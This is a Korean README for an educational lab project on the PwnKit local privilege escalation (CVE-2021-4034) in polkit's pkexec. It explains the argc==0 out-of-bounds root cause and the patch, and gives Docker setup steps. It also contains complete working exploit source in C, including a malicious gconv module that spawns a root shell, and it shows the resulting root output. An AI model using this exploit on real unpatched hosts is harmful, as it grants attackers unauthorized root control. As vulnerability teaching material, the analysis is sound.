
polkit의 pkexec에서 로컬 권한 상승 취약점인 CVE-2021-4034(PwnKit)에 대한 교육용 PoC 및 분석으로, 실습 악용 및 방어 연습을 위한 Docker 기반 랩을 포함합니다.
🔗 원본 프로젝트: berdav/CVE-2021-4034
이 프로젝트는 원본을 기반으로 교육 목적으로 분석 및 수정한 버전입니다.
MIT License 준수 | White Hat School 교육 과제
CVE-2021-4034는 Linux policykit-1(PolicyKit)의 로컬 권한 상승 취약점이다. 일반 사용자가 pkexec를 인자 없이 실행시켜 프로세스 메모리 구조의 허점을 이용하고, 이를 통해 원래는 걸러졌어야 할 환경변수 문자열을 glib이 다시 참조하게 만들어 악의적인 .so 파일을 로드시킴으로써 root 권한을 획득할 수 있다.
⚠️ 교육 목적 전용: 이 코드는 수정된 시스템에서만 사용해야 합니다.
실제 시스템 공격에 사용하면 법적 책임이 발생할 수 있습니다.
| 항목 | 내용 |
|---|---|
| CVE ID | CVE-2021-4034 |
| 취약점명 | PwnKit |
| 영향받는 버전 | polkit 0.105 이전 패치가 적용되지 않은 버전 전반 (테스트 환경 기준: Ubuntu 20.04의 policykit-1 0.105-26ubuntu1) |
| 취약점 타입 | Local Privilege Escalation (LPE) |
| 심각도 | Critical (CVSS 7.8) |
| 패치 버전 | policykit-1 >= 0.105-26ubuntu1.1 |
| 발견일 | 2021년 6월 (공개는 2022년 1월) |
Ubuntu만의 문제로 오해하기 쉬운데, pkexec 자체의 로직 결함이라 polkit을 쓰는 배포판이면 대부분 영향을 받는다. Docker 테스트 환경이 Ubuntu 20.04라 위 표엔 그 버전을 같이 적어뒀다.
처음 분석할 때는 "환경변수를 검증 안 해서 생긴 문제"인 줄 알았는데, 소스코드랑 패치 커밋을 같이 보니 순서가 좀 다르다는 걸 알게 됐다. 진짜 원인은 따로 있고, 환경변수 문제는 그 원인 때문에 벌어지는 결과 쪽에 가깝다. 아래는 그 흐름을 원인 순서대로 정리한 것.
pkexec는 PolicyKit을 통해 권한 상승을 요청하는 SUID-root 프로그램이다.
# 예: root 권한으로 명령어 실행
pkexec /bin/id
pkexec systemctl restart service
일반 사용자가 관리자 권한으로 특정 작업을 수행할 때 쓰인다.
argc == 0인 경우를 예외처리하지 않음pkexec의 main() 함수는 명령줄 인자를 처리하는 부분에서, 인자가 하나도 없이 실행된 경우(argc == 0)를 검증하지 않는다. 이게 이 취약점의 진짜 시작점이다.
argv = {"pkexec", "명령어", NULL} → argc >= 1execve("/usr/bin/pkexec", {NULL}, env) → argc == 0argc가 0이면 argv 리스트에는 종료를 뜻하는 NULL 하나만 남는다. 그런데 pkexec 내부 로직은 이 상황에서도 존재하지 않는 argv[1]을 읽고 쓰려고 시도한다. 문제는 리눅스가 프로세스를 실행할 때 argv 배열과 envp(환경변수) 배열을 메모리상 바로 옆에 붙여서 배치한다는 점이다. 그래서 범위를 벗어난 argv[1]은 사실 envp[0], 즉 첫 번째 환경변수를 그대로 가리키게 된다.
정상 상황: argv = [ "pkexec" | NULL ]
공격 상황: argv = [ NULL ] ← argc = 0
↑
존재하지 않는 argv[1]에 접근
↓
메모리상 바로 뒤에 있는 envp[0]을 읽고 쓰게 됨 (out-of-bounds)
왜 이게 위험한가:
GCONV_PATH, LD_PRELOAD 같은 위험한 환경변수를 안전하지 않은 것으로 판단해 제거한다.argc < 1이면 즉시 종료하도록 검증 로직을 추가하는 방식으로 이 부분을 고쳤다. (CWE-125 out-of-bounds read, CWE-787 out-of-bounds write에 해당)📌 정리하면: 환경변수 미검증은 "공격이 통하는 조건"이고, 진짜 취약점(root cause)은 pkexec가 argc == 0인 경우를 처리하지 않은 것이다. 아래 3번은 이 원인 때문에 벌어지는 결과 쪽이다.
2번에서 설명한 OOB 동작 덕분에, pkexec가 glib을 초기화하는 과정에서 이 문자열이 검증되지 않은 채로 다시 쓰이게 된다.
// CVE-2021-4034_exploit.c
char * const env[] = {
"GCONV_PATH=.", // 원래는 ld.so가 걸러냈어야 함
"CHARSET=PWNKIT", // 존재하지 않는 인코딩
};
execve("/usr/bin/pkexec", args, env); // argv는 비워서 argc=0을 만듦
문제:
여기서 중요한 건, glib 자체는 잘못한 게 없다는 점이다. GCONV_PATH가 설정되어 있으면 그 경로에서 converter를 찾는 건 glib의 정상 동작이다. 문제는 pkexec가 secure execution 상태(위험한 환경변수가 제거된 상태)를 이미 깨뜨려놓은 뒤라는 것 — glib은 그저 정상적으로 동작했을 뿐인데, 그 정상 동작이 악용당하는 구조다.
CHARSET 환경변수 확인
CHARSET=PWNKIT
gconv-modules 파일에서 converter 정의 검색
module UTF-8// PWNKIT// pwnkit 1
GCONV_PATH에서 .so 파일 로드
GCONV_PATH=. → 현재 디렉토리에서 pwnkit.so 검색
.so 파일의 초기화 함수 자동 실행
// pwnkit.c - .so 파일 로드 시 자동으로 실행됨
void gconv_init(void *step)
{
setuid(0); // root 권한 획득
setgid(0);
execve("/bin/sh"); // root shell 실행!
}
gconv_init을 "생성자 함수"라고 부르기 쉬운데, 엄밀히는 C의 __attribute__((constructor))와는 다르다. 정확히는 gconv 모듈 인터페이스에서 정의된 초기화 함수이고, glib이 dlopen으로 .so를 로드한 뒤 이 함수를 명시적으로 호출하는 것이다.
┌─────────────────────────────────────┐
│ 일반 사용자 (uid=1000) │
└─────────────────────────────────────┘
│
│ 1. argv 비우고 pkexec 실행 (argc=0)
│ + 악의적 환경변수 설정
│ GCONV_PATH=. / CHARSET=PWNKIT
↓
┌─────────────────────────────────────┐
│ pkexec 실행 │
│ argc 검증 없음 → OOB → 문자열 재참조 │
└─────────────────────────────────────┘
│
│ 2. glib이 정상 동작대로 처리
│ CHARSET=PWNKIT 인코딩 검색
│ GCONV_PATH=.에서 converter 찾음
↓
┌─────────────────────────────────────┐
│ pwnkit.so 로드 │
│ (현재 디렉토리의 악의적 .so 파일) │
└─────────────────────────────────────┘
│
│ 3. gconv 초기화 함수 자동 실행 (root 권한!)
↓
┌─────────────────────────────────────┐
│ root shell 획득 ✅ │
│ uid=0(root) gid=0(root) │
└─────────────────────────────────────┘
# 1. 프로젝트 받기
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034
# 2. 최신 버전 확인
git pull origin main
# 3. 빌드 (캐시 없이)
docker compose build --no-cache
# 4. 실행
docker compose up
docker system prune -a --volumes --force는 캐시나 볼륨이 꼬여서 위 방법으로 안 될 때만 쓰는 걸 추천한다. 시스템 전체의 Docker 캐시를 지우는 꽤 공격적인 명령이라, 다른 프로젝트 캐시까지 같이 날아갈 수 있다. 관련 내용은 아래 "겪었던 문제 및 해결 방법"에 따로 정리해뒀다.
pwnkit | 현재 권한 (공격 전): uid=1000(WHS4_student)
pwnkit | # id
pwnkit | uid=0(root) gid=0(root) groups=0(root) ← 성공! ✅

WHS4_CVE-2021-4034/
├── docker-compose.yml # Docker Compose 설정
├── Dockerfile # 취약 Ubuntu 20.04 환경
├── start.sh # 컨테이너 초기화 및 자동 실행
├── Makefile # 빌드 설정
├── CVE-2021-4034_exploit.c # Exploit 코드 (pkexec 호출)
├── pwnkit.c # 악의적 .so 파일 (권한 상승)
├── gconv-modules # glib converter 매핑
├── README.md # 이 파일
└── LICENSE # MIT License
#include <unistd.h>
int main(int argc, char *argv[])
{
// pkexec에 실행할 프로그램을 지정하지 않음
// (args에 NULL만 있음) → 이게 곧 argc=0을 만드는 부분
char * const args[] = {
NULL
};
// 🔴 검증되지 않은 악의적 환경변수
// argc=0으로 인한 OOB 덕분에 다시 참조 가능해져 pkexec에 그대로 전달됨
char * const env[] = {
"GCONV_PATH=.", // converter 경로 (현재 디렉토리)
"CHARSET=PWNKIT", // 존재하지 않는 인코딩
"SHELL=/bin/sh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// pkexec 실행 (인자 없이 → argc=0 트리거)
execve("/usr/bin/pkexec", args, env);
return 0;
}
핵심:
args에 pkexec 자체 이름조차 넣지 않아 argc가 0이 되도록 만듦 → 근본 원인(argc 미검증) 트리거GCONV_PATH=. : OOB로 다시 참조 가능해진 뒤 glib이 이 경로에서 converter를 검색CHARSET=PWNKIT : glib이 이 인코딩의 converter를 찾도록 유도#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// .so 파일을 converter로 인식하기 위한 함수 (형식상 필요)
void gconv()
{
}
// 🎯 CVE-2021-4034의 핵심
// .so 파일 로드 시 glib이 dlopen 후 명시적으로 호출하는 초기화 함수
// 이 함수가 root 권한으로 실행된다! ← 핵심 취약점!
void gconv_init(void *step)
{
char * const args[] = {
"/bin/sh", // root shell 실행
NULL
};
char * const env[] = {
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// root 권한 명시적 설정 (이미 root이지만)
setuid(0);
setgid(0);
// root shell 실행 ← 권한 상승 성공!
execve(args[0], args, env);
exit(0);
}